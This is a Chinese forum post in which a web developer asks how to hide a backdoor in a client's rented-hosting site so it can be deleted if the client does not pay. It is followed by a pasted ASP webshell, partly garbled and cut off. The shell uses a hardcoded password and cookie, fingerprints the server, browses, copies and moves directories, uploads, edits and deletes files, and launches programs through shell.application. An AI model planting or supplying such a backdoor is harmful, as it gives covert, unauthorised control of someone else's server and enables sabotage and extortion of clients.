如何实现网站的删除?空间是租用的。当项目完成后防止被恶意欺骗(客户不给钱),在虚拟空间的主页内容用里预留一个后门,或一些代码,在万一的情况下可以一用 :)怎么实现??请赐教.........
E-mail:[email protected]
---------------------------------------------------------------
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
response.write "
1<center>"&iCount&"个文件上传结束!</center>
"
response.write "
1<center><br/><a href="" javascript:history.back();""=""><font color="#D00000">返回上一页</font></a></center>
"
'***************上传文件开始 ***************
else
url= Request.ServerVariables("URL")
'修改下面的haiyangtop.126.com改为你密码
if trim(request.form("password"))="9911" then
response.cookies("password")="allen" '密码是否正确
response.redirect ""&url&""
else if Request.Cookies("password")<>"allen" then
call login() '密码错误
response.end '停止运行
end if
select case request("id")
case "edit"
call edit()
case "upload"
call upload()
case "dir"
call dir()
case "down"
'response.write request("path")
call downloadFile(request("path"))
case else
call main()
end select
end if
sub login()
for i=0 to 25
on error resume next
IsObj=false
VerObj=""
dim TestObj
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
%>
1<body><center>
2<table bgcolor="#B8B8B8" border="0" cellpadding="0" cellspacing="0" width="500">
3<tr><td>
4<table border="0" cellpadding="0" cellspacing="1" width="100%">
5<tr bgcolor="#EEEEEE" height="18">
6<td align="left" width="59%"> 服务器名</td>
7<td bgcolor="#EEEEEE" width="41%"> ```
8=Request.ServerVariables("SERVER_NAME")
9```</td>
10</tr>
11<tr bgcolor="#FFFFFF" height="18">
12<td align="left"> 服务器IP</td>
13<td> ```
14=Request.ServerVariables("LOCAL_ADDR")
15```</td>
16</tr>
17<tr bgcolor="#FFFFFF" height="18">
18<td align="left"> 服务器端口</td>
19<td> ```
20=Request.ServerVariables("SERVER_PORT")
21```</td>
22</tr>
23<tr bgcolor="#FFFFFF" height="18">
24<td align="left"> 服务器时间</td>
25<td> ```
26=now
27```</td>
28</tr>
29<tr bgcolor="#FFFFFF" height="18">
30<td align="left"> 本文件绝对路径</td>
31<td> ```
32=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
33```</td>
34</tr>
35<tr bgcolor="#FFFFFF" height="18">
36<td align="left"> 服务器CPU数量</td>
37<td> ```
38=Request.ServerVariables("NUMBER_OF_PROCESSORS")
39``` 个</td>
40</tr>
41<tr bgcolor="#FFFFFF" height="18">
42<td align="left"> 服务器操作系统</td>
43<td> ```
44=Request.ServerVariables("OS")
45```</td>
46</tr>
47<tr bgcolor="#EEEEEE" height="18">
48<td align="left"><font class="fonts">服务器运算速度测试</font></td>
49<td> 完成时间</td>
50</tr>
51<tr bgcolor="#FFFFFF" height="18">
52<td align="left">Allen的电脑(521M,Athlon2200+)</td>
53<td> 186.6 毫秒</td>
54</tr>
55<tr bgcolor="#FFFFFF" height="18">
56<td align="left">中国频道虚拟主机(2002-08-06)</td>
57<td> 610.9 毫秒</td>
58</tr>
59<tr bgcolor="#FFFFFF" height="18">
60<td align="left">西部数码west263主机(2002-08-06)</td>
61<td> 357.8 毫秒</td>
62</tr>
63<tr bgcolor="#FFFFFF" height="18">```
64
65dim t1,t2,lsabc,thetime
66t1=timer
67for i=1 to 500000
68lsabc= 1 + 1
69next
70t2=timer
71thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10)
72
73```<td align="left"><font color="red">您正在使用的这台服务器</font> </td>
74<td> <font color="red">```
75=thetime
76``` 毫秒</font></td>
77</tr>
78</table>
79</td>
80</tr>
81</table>
82<html>
83<body><center>
84<table>
response.write "<font class="fonts">一次只能执行一个操作:)在本页操作不需要FSO支持&当服务器时间</font>"
response.write now()
1<form ```"="" action="```
2= Request.ServerVariables(" method="POST" url")="">
3<input name="text" type="text" value="```
4=szCMD
5```"/> <font class="fonts">输入要浏览的目录,最后要加\</font><br/>
6<input name="text1" type="text" value="```
7=szCMD1
8```"/>
9copy
10<input name="text2" type="text" value="```
11=szCMD2
12```"/><br/>
13<input name="text3" type="text" value="```
14=szCMD3
15```"/>
16move
17<input name="text4" type="text" value="```
18=szCMD4
19```"/><br/>
20路径:<input name="text5" type="text" value="```
21=szCMD5
22```"/>
23程序:<input name="text6" type="text" value="```
24=szCMD6
25```"/><br/>
26<input class="input" name="sb" type="submit" value="发送命令"/>
27</form>
28</table>
29</center>
30</body>
31</html>
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color="red">" & co.path & "-----" & co.size & "</font><br/>"
next
end if
1
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
1
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
1
2
3<form &url&""="" action="" method="POST">
4Enter Password:<input name="password" size="20" type="password"/>
5<input type="submit" value="LOGIN"/>
6</form></center>
7</body>
1end sub
1sub main()
2'修改下面的urlpath改为你服务器的实际URL
3urlpath="http://localhost"
4dim cpath,lpath
5set fsoBrowse=CreateObject("Scripting.FileSystemObject")
6if Request("path")="" then
7lpath="/"
8else
9lpath=Request("path")&"/"
10end if
11if Request("attrib")="true" then
12cpath=lpath
13attrib="true"
14else
15cpath=Server.MapPath(lpath)
16attrib=""
17end if
1<html>
2<script language="JavaScript">
3function crfile(ls)
4{if (ls==""){alert("请输入文件名!");}
5else {window.open("```
6=url
7```?id=edit&attrib=```
8=request("attrib")
9```&creat=yes&path=```
10=lpath
11```"+ls);}
12return false;
13}
14function crdir(ls)
15{if (ls==""){alert("请输入文件名!");}
16else {window.open("```
17=url
18```?id=dir&attrib=```
19=request("attrib")
20```&op=creat&path=```
21=lpath
22```"+ls);}
23return false;
24}
25</script>
26<script language="vbscript">
27sub rmdir(ls)
28if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then
29window.open("```
30=url
31```?id=dir&path="&ls&"&op=del&attrib=```
32=request("attrib")
33```")
34end if
35end sub
36sub copyfile(sfile)
37dfile=InputBox(""&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"请输入目标文件的文件名:"&Chr(13)&Chr(10)&"许带路径,要根据你的当前路径模式. 注意:绝对路径示例c:/或c:\都可以")
38dfile=trim(dfile)
39attrib="```
40=request("attrib")
41```"
42if dfile<>"" then
43if InStr(dfile,":") or InStr(dfile,"/")=1 then
44lp=""
45if InStr(dfile,":") and attrib<>"true" then
46alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"
47exit sub
48end if
49else
50lp="```
51=lpath
52```"
53end if
54window.open(""&url&"?id=edit&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)
55else
56alert"您没有输入文件名!"
57end If
58end sub
59</script><body bgcolor="#F5F5F5">
60<table align="center" bgcolor="#b8b8b8" border="0" cellpadding="3" cellspacing="1" width="750">
61<tbody>
62<tr>
63<td bgcolor="#eeeeee" colspan="4" height="22">切</td></tr></tbody></table></body></html>